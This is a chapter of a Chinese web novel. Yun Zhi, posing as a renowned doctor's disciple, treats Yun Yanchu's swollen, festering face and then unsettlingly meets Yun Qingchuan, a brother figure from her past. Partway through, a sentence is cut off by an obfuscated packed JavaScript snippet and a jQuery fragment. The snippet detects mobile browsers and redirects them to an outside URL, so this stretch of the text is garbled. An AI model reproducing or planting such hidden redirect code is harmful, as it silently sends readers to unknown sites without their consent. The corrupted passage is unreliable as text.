在阿璧的刻意而为下,云家人来的很快。
自云织有了医者身份后不过两日,云家便递了帖子,邀请云织上门一坐。
“织织,一切果然如我们所料!”阿璧摆弄着云家递来的帖子,得意地道。
“刚刚才打听了你的身份,这便邀请你上门,那云家小姐可真够沉不住气的。”
她其实也没特意做什么。
不过是去云氏药房买了两次药,其间故意不经意地提起她家小姐医术精湛。
不想那掌柜的听闻她家小姐懂医术,立时眼睛都亮了,几乎是讨好般地与她搭话,打听她家小姐是何许人。
可见那云家小姐将其逼得不浅。
“织织,咱们去吗?”
云织看着阿璧手中的帖子,淡淡道:“不去。”
若得来的太过容易,反而容易让人生疑。
“好,就让她先急一急。”阿璧显然也明白云织的想法。“那你就给她回个帖子。”
待云织写好了婉拒的帖子,便差人送了过去。
而云妍初的第二张帖子,来的比她们预料的还要快。
当日午后,第二张帖子便递到了云织的手中。
帖子中云妍初言辞恳切,恳请云织一定拨冗前来,姿态可谓是放得极低。
“看来,她的确是遇到了很紧急的状况,却又不好找普通医者诊治。”云织看着云妍初的第二张帖子,淡淡道。
“应该是了。那我们这次去不去?”
“自然要去,不能浪费了这雪中送炭的好机会。”云织道。
从来锦上添花易,而雪中送炭难。
若她在云妍初急需帮助的时候出手相助,她在其心中的分量,自然便要更重一分。
日后打探消息,则更加容易。
午后。
待云织妆饰整齐,出了门,云府的马车早已在门外等候。
“云小姐,请上车。”驾车的仆从态度恭敬,显然是来前便得了嘱咐。
云府其实离新宅不远,拐过前面的路口便到了。
但神医高徒的架势,要有。
云织并不多言,对仆从点了点头,便扶着阿璧的手上了马车。
不过片刻之后,随着车轮辘辘的声音停下,仆从的声音自马车外响起。
“云小姐,我们到了。”
云织扶住阿璧的手,下了车。
“您就是云织小姐吧?”她才站定,一个一身浅粉色衣裙的丫鬟便殷勤上前道。
云织抬眼看去。
这丫鬟,她曾有过一面之缘。
正是首次去云氏药铺时,差点撞到了她的那个,名叫紫苏的丫鬟。
紫苏对着云织行了个礼,面上眼里全是喜色,“云织小姐,我们小姐正在府上等您呢,请您随我来。”
云织不语,但也未动。
她眸光淡淡扫过云府的匾额,又扫过紫苏的脸,带出一丝矜傲的气势来。
“云织小姐见谅,我们小姐……眼下不便出门,所以没能亲自前来迎接您。”紫苏见云织的神情,瞬间明白过来,忙解释道。
“我们小姐等着盼着您呢,实在是……”紫苏不好再多言,看着云织的目光里全是恳求。
“带路吧。”云织又淡淡看了紫苏一眼,才开口道。
“哎,哎!”紫苏闻言立刻满脸喜色,唯恐云织会反悔一般,“云织小姐,您这边请!”
见云织终于抬步向前,紫苏才长长舒了口气。
早就听人说,越是医术精湛的医者,脾气便越大、越古怪,果然如此!
紫苏想着,面上便愈加恭敬。
阿璧跟在云织身旁,也是一副不苟言笑的模样,实际心底将笑意压了又压。
织织平时虽然性子冷淡,但却不孤高矜傲。
今日扮出这幅眼高于顶的样子,竟还挺像样的!
云府的格调布局显然没有许府精致气派,但也算开阔,比起京城里家世一般的府邸,要好上不少。
紫苏引着她们入了后院,没走多久,便进了一所精致的小院子。
“小姐,云织小姐来了!”还没等引着人进屋,紫苏便满脸喜气的喊道。
“云织小姐,您快请进!”
云妍初的闺房布置很是雅致。
素面的屏风隔出了内室,外间便是书案,除了笔墨等物外,案上还摆了一架古琴。
墙边的架子上,则摆满了书籍。
云织目光自屋内摆设上一扫而过。
看这布置,这位云家的大小姐,倒是按照世家小姐、大家闺秀教养的。
待绕过屏风来到内室,便见到一个浅青色的纤细人影正坐于榻上。
而她面上,竟戴了一块丝帕,将整张脸遮得严严实实。
“云织小姐,你来了。”待见到云织,榻上的人便立即起身,“云织小姐首次登门,我这样……实在失礼了,还请云织小姐见谅。”
“说起来,云织小姐也是姓云,我们还是本家呢!”云妍初话中的热络恰到好处。
云织看到云妍初的模样,瞬间便明白了她为何要找女医。
女子向来看重容貌,云妍初自然也不例外。
此刻看她的样子,定然是面容有损,却又有所顾忌、不敢声张,这才急着要找女医上门。
“云小姐,可是得了什么棘手的病症,才一定要见我?”云织面色淡淡,开门见山。
她本就性子淡漠,此刻对云家人更是全无好感,医术高深却不好相与的架子信手拈来。
“……正是……”见云织并不接她的寒暄,云妍初有一瞬的怔愣,但很快又恢复如常。
既然云织不喜欢绕弯子,她便也索性直接开口。
“原本初次见面,实在不该劳烦云织小姐的,实在是……我的脸,现在难以见人……”云妍初隔着帕子抚了抚自己的脸,满是歉意地一笑,“还请云织小姐千万不要见怪的好。”
“帕子摘下来吧。”云织淡淡看了云妍初半晌,道。
“啊?哎!”
云妍初愣了一瞬之后,忙应了一声,将帕子揭了下来。
她递了两次帖子,极尽恳求,才求得这位据说师从神医的云织小姐大驾,本以为怕是还要再多说说好话,才能求得这位云织小姐出手,却没想到她竟这般好说话。
看来,这位云织小姐性子虽冷,却是个心肠软的。
待面上的帕子揭下来,饶是一旁的阿璧早便有所准备,也不由得深吸了一口气。
云妍初肤色白皙,五官娇美,原本应是姿容不俗,但此刻那张白皙的面上竟布满了大大小小的红紫肿块,且有些已经化脓破溃,看着实在惨不忍睹。
云织眉目不动,眸色清冷,专注地看着云妍初面上的肿块。
云妍初本来攥紧着手心不敢抬头,满心羞惭,但见云织始终面无异色,心内竟瞬间便安定下来。
她早便派人打听过了,这位云织小姐的确师从神医,是有真本事的。
且看她此刻如此淡定从容,想必……这病症,于她定是不难。
“云小姐的病症,的确严重,”云妍初的心刚稍稍放下,听到云织开口,瞬间又提了起来。
“但,于我,不难。”
“云织小姐此话当真!”
饶是云妍初不断告诉自己要稳重,不要显得过于急切,有失风范,但还是忍不住便脱口而出。
“若是……若是云织小姐可以治好我的脸,云织小姐想要多少银钱,我定都会付!”
“我为人诊病,看的是个缘字。”云织双手交握,抬眸。
“若是缘至,则分文不取也治。”
“若是缘缺,则黄金百两也不治。”
“云织小姐,若是云织小姐能治好我的脸,便是妍初的大恩人。”云妍初忙上前一步,面上满是急切。
“日后云织小姐若有需要妍初帮忙的,妍初便是赴汤蹈火,也不会说一个不字!”
阿璧站在云织身边,敛住眼底的得意之色,暗暗挑了挑眉。
织织这下,把这云妍初拿捏得死死的。
什么病症、如何用药都不必细说,便如此迫不及待、对云织满心信任了。
“既是同姓,又偶然遇到,自然缘分是要比旁人厚一些的。”
云妍初闻言瞬间便是面上一喜。“云织小姐这是……答应为我诊治了吗!”
“若是信我,七日内,我定会让妍初小姐的面容恢复如初。”云织淡淡道。
“云织小姐……果然是神医高徒!”云妍初闻言不由得眼圈一红,声音便带了哽咽,“我……我信!”
容貌于女子而言有多么重要,更何况她尚未出阁。
面上生了肿块的这些时日,她不敢照镜、不敢出门,食不下咽、夜不安寝,却又不敢召医者前来诊治,唯恐治不好她的脸不说,还将她如今的模样说了出去,日后惹人嘲笑。
定是天可怜见,才让云织小姐来了京城,又让她的奴婢偶然到云氏药铺抓药,让掌柜的恰好得知!
她的脸有救了!
“不管需要多少银两,需要什么药材,云织小姐只管开口便是。”云妍初压了压心绪,满心诚意地道。
“只是……云织小姐可否费心,让我的脸……能早一些时日恢复?”云妍初面色激动地泛着红,有些忐忑。
怕是会惹云织不快,她忙又补了一句:“再过五日,便是长平公主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481474|201766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的秋日赏花宴,我……我得了帖子……”
云织眉头微微一蹙。
长平公主,云归远的胞妹云娴、如今的云妃之女。
她曾听许衡奕提过的。
“是可以,”云织抬眸,“但若要短时间内起效,药力便要下得猛一些,妍初小姐要遭些罪了。”
“至于银钱,此次既是随缘,不收诊金。”
“谢谢云织小姐!”云妍初喜出望外。
“痛没有关系,我可以忍的!”
…
云府。
云妍初的闺房中,泛着幽幽药香。
阿璧协助云织将云妍初面上破溃的肿块以银针挑破,将脓水放出,又将调制好的药涂遍了云妍初的脸后,以棉纱仔细裹好。
“敷了这药后,妍初小姐的脸不可碰水,不可受风。”云织净了手,看着云妍初道。
“嗯,妍初记下了!多谢云织小姐!”云妍初看着云织,此刻满心都是信任与依赖。
若说方才她对云织的医术还有那么一丝丝的担忧,此刻便是全然信服了。
方才云织手法娴熟,动作爽利,下针又快又准,期间面色丝毫未变。
且方才这药涂上后,那些肿块竟然立即便不再刺痛或痒,还感觉到一丝清凉。
对镜细看,便发现那些肿块竟已有消减之势。
如此神医圣手,竟真被她好运遇到了!
“我明日再来。”云织淡淡点了点头,便起身。
“云织小姐慢走!紫苏,快替我送送云织小姐!”云妍初慌张起身,见云织已经转身向外走去,便忙招呼紫苏。
“小姐放心!云织小姐,这边请!”紫苏机灵地凑上前,引着云织与阿璧向外走。
“云织小姐,奴婢还从没有见过女子医者,想不到您医术这么高深!”行路间,紫苏忍不住夸赞道。
倒不是她故意奉承,自家小姐的脸有多严重,她是最知道的。
想不到云织小姐三下两下便配好了药,而且效果可谓是立竿见影。
自家小姐的脸有救了,她们做下人的,自然便有好日子过!
念及此处,紫苏心情愈发愉快,“云织小姐,明日您便在家中等候,我早点便派马车过去接您!”
说话间,紫苏带着云织与阿璧拐过一道垂花拱门,差点便与人迎面撞上。
“哎呀!”紫苏脚下一个踉跄差点摔倒,便被来人伸手扶住了胳膊。
紫苏站稳身形后抬头看去,面上瞬间绯红。
“大……大公子!”
来人一身白衣,半束发,手中托了几本书稿。
他看着紫苏,眉眼含笑,嗓音低醇,“怎么这样急匆匆的,有没有受伤?”
云织看着那张笑容温润的脸,和如墨染黑眸。
风光霁月,儒雅谦和。
似乎再温雅的词用在这人身上,都不为过。
恢复的记忆中,他也是这样温柔浅笑,叫她昭昭。
送她很多很新奇的玩意,说因为昭昭喜欢,只要昭昭开心就好。
像一个永远会宠溺她、纵容她的兄长。
云-清-川。
云织在心底一个字一个字地念出他的名字。
这句清川哥哥,她曾经真心真意地唤了许多年。
像是感觉到云织的目光,云清川侧眸看过来,便正对上云织的视线。
一瞬之后,云清川面上的笑容更深了些。“紫苏,今日妍初有客人?”
话虽是在问紫苏,但目光却仍温和而不失礼地注视着云织。
“是,大公子……”紫苏面上的绯红未褪,忙行了个礼,“这位是云织小姐,是……是小姐请来调养身子的医者。”
云清川面上的笑意微微一凝,眸光里多了一丝莫名的光亮。
“云织小姐,也姓云呢。”云清川浅笑着,嗓音似乎低沉了几分,“更难得,竟还是医者。云织小姐,定然费了许多辛苦吧!”
莫名的情绪瞬间涌上心头,云织狠狠攥紧手心。
曾经,她若配制了什么新的方子,父亲母亲会夸赞她聪慧,谢凛会为她高兴,送她礼物、或是带她去骑马,只有云清川会轻轻拍拍她的头,说昭昭定然费了许多辛苦吧。
人依然是旧时人,心却早已不是那颗心。
“告辞。”
一时翻涌的情绪让云织几乎承受不住,她垂眸,只说了两个字,便抬步向外走。
“云织小姐!大少爷,我……先送云织小姐出去!”紫苏见云织离开,忙小跑了几步追了过去。
阿璧侧眸看了云清川一眼,也抬脚跟上。
云清川侧过身,看着云织的背影越走越远,眸中意味莫名。